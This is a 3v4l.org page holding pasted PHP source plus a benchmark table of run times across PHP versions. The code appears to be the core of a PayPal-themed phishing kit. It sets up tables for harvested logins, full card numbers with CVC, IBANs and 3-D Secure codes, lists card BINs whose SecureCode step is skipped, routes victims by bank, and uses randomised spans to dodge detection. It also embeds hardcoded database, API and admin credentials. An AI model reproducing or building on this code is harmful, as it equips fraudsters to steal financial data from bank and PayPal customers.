3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); // Configuration $config = [ 'url' => 'http://' . $_SERVER['HTTP_HOST'] . '', 'mysql' => [ 'hostname' => 'localhost', 'username' => 'root', 'password' => 'okmijnAwD1337', 'database' => 'paypal' ], 'bincodes' => [ 'enabled' => true, 'api_key' => '2d974e94811161f1dda14bbf63aa9790' ], // Alle SMTPs welche nicht folgenden Format haben: smtp.example.com:25 'smtps' => [ 'web.de' => [ 'host' => 'smtp.web.de', 'port' => 587 ], 'aol.com' => [ 'host' => 'smtp.de.aol.com', 'port' => 587 ], 'aol.de' => [ 'host' => 'smtp.aim.com', 'port' => 587 ], 'aim.com' => [ 'host' => 'smtp.aim.com', 'port' => 587 ], 'arcor.de' => [ 'host' => 'mail.arcor.de', 'port' => 25 ], 'bluewin.ch' => [ 'host' => 'smtpauths.bluewin.ch', 'port' => 25 ], 'gmail.com' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'gmail.de' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'googlemail.com' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'gmx.de' => [ 'host' => 'mail.gmx.net', 'port' => 587 ], 'gmx.net' => [ 'host' => 'mail.gmx.net', 'port' => 587 ], 'outlook.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'live.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'hotmail.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'live.com' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'outlook.com' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'yahoo.de' => [ 'host' => 'smtp.mail.yahoo.com', 'port' => 25 ], 'yahoo.com' => [ 'host' => 'smtp.mail.yahoo.com', 'port' => 25 ], 't-online.de' => [ 'host' => 'securesmtp.t-online.de', 'port' => 25 ], 'unitybox.de' => [ 'host' => 'submit.unitybox.de', 'port' => 587 ], 'kabelbw.de' => [ 'host' => 'submit.kabelbw.de', 'port' => 587 ], 'one.com' => [ 'host' => 'send.one.com', 'port' => 587 ], 'freenet.de' => [ 'host' => 'mx.freenet.de', 'port' => 587 ] ], // Bins bei dem die SecureCode Abfrage übersprungen werden 'skipBins' => [ /* '457096', '548622', '548621' */ ], // Banken (Alles groß schreiben, da es bei Debian sonst nicht erkannt wird) 'banks' => [ 'santander' => [ 'SANTANDER CONSUMER BANK AG', 'SANTANDER DIREKT BANK AG', 'SANTANDER' ], 'vw' => [ 'VOLKSWAGEN BANK GMBH', 'VOLKSWAGEN' ], 'advanzia' => [ 'ADVANZIA BANK, S.A.', 'ADVANZIA' ], 'barclay' => [ 'BARCLAYS BANK PLC', 'BARCLAYCARD GERMANY', 'BARCLAY' ], 'airp' => [ 'LUFTHANSA AIRPLUS SERVICEKARTEN GMBH' ], 'dkb' => [ 'DEUTSCHE KREDITBANK AG (DKB), LUFTHANSA, MILES AND MORE', 'DEUTSCHE KREDITBANK' ], 'lbb' => [ 'LANDESBANK BERLIN AG' ], 'dzb' => [ 'DZ BANK AG', 'DZ BANK AG DEUTSCHE ZENTRAL- GENOSSENSCHAFTSBANK' ], 'wgz' => [ 'WGZ BANK AG WESTDEUTSCHE GENOSSENSCHAFTS-ZENTRALBANK', 'WGZ' ], 'volksbank' => [ 'VOLKSBANK' ], 'spardabank' => [ 'SPARDABANK', 'SPARDA' ], 'postbank' => [ 'DEUTSCHE POSTBANK AG', 'POSTBANK BERLIN', 'POSTBANK' ], 'sparkasse' => [ 'DEUTSCHER SPARKASSEN - UND GIROVERBAND', 'SPARKASSE', 'SPARKASSEN', 'SPARKASSE SCHAUMBURG', 'SPARKASSE MAINZ', 'STADTSPARKASSE' ], 'random' => [ 'TARGOBANK AG AND CO. KGAA', 'CITIBANK AG', 'ING-DIBA AG', 'COMMERZBANK AG', 'MERCEDES-BENZ BANK AG', 'LANDESBANK BADEN-WUERTTEMBERG', 'COMDIRECT BANK AG', 'DEUTSCHE BANK AG', 'DEUTSCHE BANK PRIVAT-UND GESCHAEFTSKUNDEN AG', 'BAYERISCHE LANDESBANK GIROZENTRALE', 'BAYERISCHE LANDESBANK', 'SUEDDEUTSCHE BANK GMBH' ] ] ]; include('geoblocking.php'); if(!defined('CONTINUE_PDO')) { // MySQL Connection $pdo = new PDO( 'mysql:host=' . $config['mysql']['hostname'] . ';', $config['mysql']['username'], $config['mysql']['password'] ); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->query('CREATE DATABASE IF NOT EXISTS ' . $config['mysql']['database']); $pdo->query('use ' . $config['mysql']['database']); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8' COLLATE 'utf8_general_ci'"); $pdo->exec('SET NAMES \'utf8\''); mb_internal_encoding('UTF-8'); $pdo->exec(' CREATE TABLE IF NOT EXISTS `admins` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `password` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; INSERT IGNORE INTO `admins` VALUES (\'1\', \'Admin\', \'123456\'); CREATE TABLE IF NOT EXISTS `logs` ( `id` int(11) NOT NULL AUTO_INCREMENT, `ip` varchar(255) DEFAULT NULL, `user_agent` text, `email` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, `method` enum(\'creditcard\',\'bank\',\'none\') DEFAULT \'none\', `firstname` varchar(255) DEFAULT NULL, `surname` varchar(255) DEFAULT NULL, `dob_day` int(11) DEFAULT \'0\', `dob_month` int(11) DEFAULT \'0\', `dob_year` int(11) DEFAULT \'0\', `cc_number` varchar(255) DEFAULT NULL, `cc_expire_month` int(2) DEFAULT NULL, `cc_expire_year` int(4) DEFAULT NULL, `cc_cvc` int(4) DEFAULT NULL, `cc_bank` varchar(255) DEFAULT NULL, `cc_type` varchar(255) DEFAULT NULL, `cc_level` varchar(255) DEFAULT NULL, `cc_country` varchar(255) DEFAULT NULL, `cc_countrycode` varchar(255) DEFAULT NULL, `cc_card` varchar(255) DEFAULT NULL, `cc_limit` int(11) DEFAULT \'0\', `bank_iban` varchar(255) DEFAULT NULL, `bank_bic` varchar(255) DEFAULT NULL, `bank_name` varchar(255) DEFAULT NULL, `sc_1` varchar(255) DEFAULT NULL, `sc_2` varchar(255) DEFAULT NULL, `street` varchar(255) DEFAULT NULL, `city` varchar(255) DEFAULT NULL, `plz` int(5) DEFAULT NULL, `timestamp` varchar(255) DEFAULT \'123456789\', `mobilenr` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1; '); } // Classes class RandomHash { public static function init() { if(!isset($_SESSION['randomLetter'])) { $_SESSION['randomLetter'] = substr(str_shuffle(str_repeat($chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil(1 / strlen($chars)) )), 1, 1); } } public static function generate($string = '') { return $_SESSION['randomLetter'] . sha1($string . sha1(session_id())); } public static function generateUselessKey() { return md5($_SESSION['randomLetter']); } public static function stringSplitUnicode($string, $l = 0) { if ($l > 0) { $result = []; $length = mb_strlen($string, 'UTF-8'); for ($i = 0; $i < $length; $i += $l) { $result[] = mb_substr($string, $i, $l, 'UTF-8'); } return $result; } return preg_split("//u", $string, -1, PREG_SPLIT_NO_EMPTY); } public static function generateUseless($string = '') { $result = ''; foreach(self::stringSplitUnicode($string) as $letter) { $result .= '<span class="' . self::generate('rnd-span') . ' ' . self::generate(self::generateUselessKey()) . '">' . $letter . '</span>'; } return $result; } } RandomHash::init(); // Functions function generateToken() { if(version_compare(phpversion(), '7', '>=')) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } else if(function_exists('mcrypt_create_iv')) { $_SESSION['csrf_token'] = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)); } else { $_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32)); } return $_SESSION['csrf_token']; } function getToken() { if(!isset($_SESSION['csrf_token']) || empty($_SESSION['csrf_token'])) { generateToken(); } return $_SESSION['csrf_token']; } function getOB($bankName) { global $config; $bankName = strtoupper($bankName); foreach($config['banks'] as $obKey => $obNames) { foreach($obNames as $obName) { if(strtoupper($obName) == $bankName || strpos(strtoupper($obName), $bankName) !== false || (count(explode(' ', $bankName)) > 0 && strpos(strtoupper($obName), explode(' ', $bankName)[0]) !== false)) { return strtolower($obKey); } } } return null; } function isLoggedIn() { global $pdo; if(isset($_SESSION['acp_username'], $_SESSION['acp_password'])) { $stmt = $pdo->prepare('SELECT NULL FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1'); $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]); return $stmt->rowCount() > 0; } return false; } function getLogsCount() { global $pdo; $qry = $pdo->query('SELECT NULL FROM `logs`'); return $qry->rowCount(); } function getUserInfo($row, $filter = true) { global $pdo; if(isLoggedIn()) { $stmt = $pdo->prepare('SELECT `' . $row . '` FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1'); $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]); if($stmt->rowCount() > 0) { $obj = $stmt->fetch(PDO::FETCH_OBJ); return $filter ? htmlspecialchars($obj->{$row}) : $obj->{$row}; } } return ''; } function getIp() { $ip = $_SERVER['REMOTE_ADDR']; if(!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } return $ip; } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.2.90.0050.00719.16
8.2.50.0120.00619.52
8.2.40.0130.00518.13
8.2.30.0090.00618.62
8.2.20.0110.00418.76
8.2.10.0110.00518.57
8.2.00.0090.00818.56
8.1.180.0090.00919.52
8.1.170.0140.00418.04
8.1.160.0090.00618.60
8.1.150.0120.00518.33
8.1.140.0120.00418.34
8.1.130.0120.00418.58
8.1.120.0110.00518.42
8.1.110.0110.00518.38
8.1.100.0110.00618.49
8.1.90.0100.00618.35
8.1.80.0110.00518.32
8.1.70.0110.00618.32
8.1.60.0120.00618.44
8.1.50.0120.00518.37
8.1.40.0110.00518.38
8.1.30.0120.00518.42
8.1.20.0120.00518.42
8.1.10.0120.00518.30
8.1.00.0120.00618.27
8.0.280.0100.00517.91
8.0.270.0110.00518.00
8.0.260.0110.00518.12
8.0.250.0100.00518.06
8.0.240.0120.00418.14
8.0.230.0100.00518.10
8.0.220.0100.00517.93
8.0.210.0110.00418.03
8.0.200.0100.00518.01
8.0.190.0110.00518.03
8.0.180.0090.00517.83
8.0.170.0100.00417.99
8.0.160.0090.00517.86
8.0.150.0110.00417.84
8.0.140.0100.00417.78
8.0.130.0110.00317.79
8.0.120.0110.00517.84
8.0.110.0090.00517.75
8.0.100.0110.00317.82
8.0.90.0100.00517.79
8.0.80.0110.00517.83
8.0.70.0100.00517.77
8.0.60.0120.00417.80
8.0.50.0110.00517.80
8.0.30.0090.00617.77
8.0.20.0110.00517.81
8.0.10.0100.00517.95
8.0.00.0090.00517.89
7.4.330.0090.00316.97
7.4.320.0120.00517.56
7.4.300.0130.00417.49
7.4.290.0110.00517.47
7.4.280.0130.00417.45
7.4.270.0120.00417.47
7.4.260.0120.00517.38
7.4.250.0130.00417.40
7.4.240.0120.00417.38
7.4.230.0110.00517.38
7.4.220.0110.00517.39
7.4.210.0100.00517.38
7.4.200.0080.00717.34
7.4.190.0120.00417.43
7.4.180.0100.00417.51
7.4.160.0100.00517.40
7.4.150.0100.00417.46
7.4.140.0110.00317.39
7.4.130.0100.00517.44
7.4.120.0100.00417.37
7.4.110.0090.00617.32
7.4.100.0100.00517.52
7.4.90.0100.00417.46
7.4.80.0090.00617.34
7.4.70.0100.00417.36
7.4.60.0090.00517.39
7.4.50.0090.00517.27
7.4.40.0100.00517.25
7.4.30.0100.00417.30
7.4.20.0090.00517.31
7.4.10.0110.00317.38
7.4.00.0080.00517.33
7.3.330.0110.00517.21
7.3.320.0130.00317.29
7.3.310.0120.00417.27
7.3.300.0120.00517.28
7.3.290.0100.00517.28
7.3.280.0110.00517.25
7.3.270.0110.00517.27
7.3.260.0100.00517.26
7.3.250.0110.00517.27
7.3.240.0100.00617.28
7.3.230.0130.00417.28
7.3.220.0130.00517.22
7.3.210.0120.00417.23
7.3.200.0110.00517.20
7.3.190.0110.00517.23
7.3.180.0110.00617.22
7.3.170.0110.00617.22
7.3.160.0110.00517.21
7.3.150.0120.00417.24
7.3.140.0120.00417.23
7.3.130.0120.00417.25
7.3.120.0120.00317.24
7.3.110.0120.00417.16
7.3.100.0110.00517.27
7.3.90.0120.00517.40
7.3.80.0120.00417.21
7.3.70.0090.00617.20
7.3.60.0100.00517.26
7.3.50.0100.00517.28
7.3.40.0120.00417.29
7.3.30.0090.00617.28
7.3.20.0130.00418.12
7.3.10.0130.00418.00
7.3.00.0110.00617.98
7.2.340.0100.00517.33
7.2.330.0110.00517.42
7.2.320.0110.00417.38
7.2.310.0100.00517.35
7.2.300.0110.00517.32
7.2.290.0100.00617.33
7.2.280.0120.00417.35
7.2.270.0110.00517.43
7.2.260.0100.00517.32
7.2.250.0120.00517.34
7.2.240.0120.00517.36
7.2.230.0110.00417.35
7.2.220.0110.00517.36
7.2.210.0110.00417.38
7.2.200.0110.00517.41
7.2.190.0120.00517.40
7.2.180.0120.00617.41
7.2.170.0110.00417.41
7.2.160.0100.00617.45
7.2.150.0140.00518.29
7.2.140.0110.00518.30
7.2.130.0120.00418.24
7.2.120.0120.00418.19
7.2.110.0120.00518.20
7.2.100.0110.00518.21
7.2.90.0120.00518.20
7.2.80.0130.00418.22
7.2.70.0110.00618.22
7.2.60.0120.00418.22
7.2.50.0110.00518.22
7.2.40.0120.00518.23
7.2.30.0110.00618.22
7.2.20.0110.00618.25
7.2.10.0130.00518.25
7.2.00.0110.00518.23
7.1.330.0110.00417.47
7.1.320.0130.00417.42
7.1.310.0130.00417.42
7.1.300.0130.00417.46
7.1.290.0130.00517.46
7.1.280.0110.00417.43
7.1.270.0130.00417.45
7.1.260.0110.00417.45
7.1.250.0110.00517.26
7.1.240.0110.00517.42
7.1.230.0110.00517.45
7.1.220.0110.00517.44
7.1.210.0120.00417.44
7.1.200.0120.00317.47
7.1.190.0150.00417.44
7.1.180.0110.00517.39
7.1.170.0120.00417.42
7.1.160.0110.00517.39
7.1.150.0120.00417.40
7.1.140.0110.00517.42
7.1.130.0110.00517.42
7.1.120.0120.00417.40
7.1.110.0130.00417.40
7.1.100.0120.00417.48
7.1.90.0110.00517.49
7.1.80.0170.00417.47
7.1.70.0180.00417.37
7.1.60.0180.00518.21
7.1.50.0180.00518.23
7.1.40.0160.00518.24
7.1.30.0240.00418.22
7.1.20.0160.00618.21
7.1.10.0170.00517.35
7.1.00.0150.00517.37
7.0.330.0110.00417.30
7.0.320.0120.00417.35
7.0.310.0110.00517.31
7.0.300.0120.00417.29
7.0.290.0120.00517.32
7.0.280.0120.00417.31
7.0.270.0100.00517.31
7.0.260.0110.00517.33
7.0.250.0110.00417.42
7.0.240.0100.00517.38
7.0.230.0140.00317.40
7.0.220.0110.00417.36
7.0.210.0110.00417.33
7.0.200.0150.00517.26
7.0.190.0170.00517.27
7.0.180.0160.00417.22
7.0.170.0160.00517.31
7.0.160.0170.00417.21
7.0.150.0180.00517.22
7.0.140.0160.00417.21
7.0.130.0170.00417.22
7.0.120.0190.00517.26
7.0.110.0170.00517.20
7.0.100.0170.00417.20
7.0.90.0190.00517.09
7.0.80.0180.00317.13
7.0.70.0170.00417.15
7.0.60.0170.00417.14
7.0.50.0160.00417.14
7.0.40.0160.00617.20
7.0.30.0150.00617.21
7.0.20.0180.00417.15
7.0.10.0170.00617.22
7.0.00.0150.00617.16
5.6.400.0110.00516.97
5.6.390.0110.00417.00
5.6.380.0090.00516.98
5.6.370.0110.00416.98
5.6.360.0090.00517.01
5.6.350.0090.00516.97
5.6.340.0100.00516.95
5.6.330.0090.00616.96
5.6.320.0080.00716.96
5.6.310.0100.00516.94
5.6.300.0110.00316.86
5.6.290.0100.00516.97
5.6.280.0100.00516.98
5.6.270.0100.00416.95
5.6.260.0110.00416.98
5.6.250.0100.00416.96
5.6.240.0100.00517.03
5.6.230.0110.00417.09
5.6.220.0100.00417.03
5.6.210.0100.00416.98
5.6.200.0100.00517.08
5.6.190.0110.00517.05
5.6.180.0090.00617.06
5.6.170.0090.00517.04
5.6.160.0100.00417.03
5.6.150.0090.00517.03
5.6.140.0100.00416.97
5.6.130.0090.00516.98
5.6.120.0090.00516.95
5.6.110.0100.00416.90
5.6.100.0100.00416.92
5.6.90.0110.00416.92
5.6.80.0090.00416.92
5.6.70.0100.00417.00
5.6.60.0090.00417.04
5.6.50.0100.00416.91
5.6.40.0080.00517.03
5.6.30.0090.00517.00
5.6.20.0090.00516.95
5.6.10.0100.00416.94
5.6.00.0100.00416.94

preferences:
51.58 ms | 401 KiB | 5 Q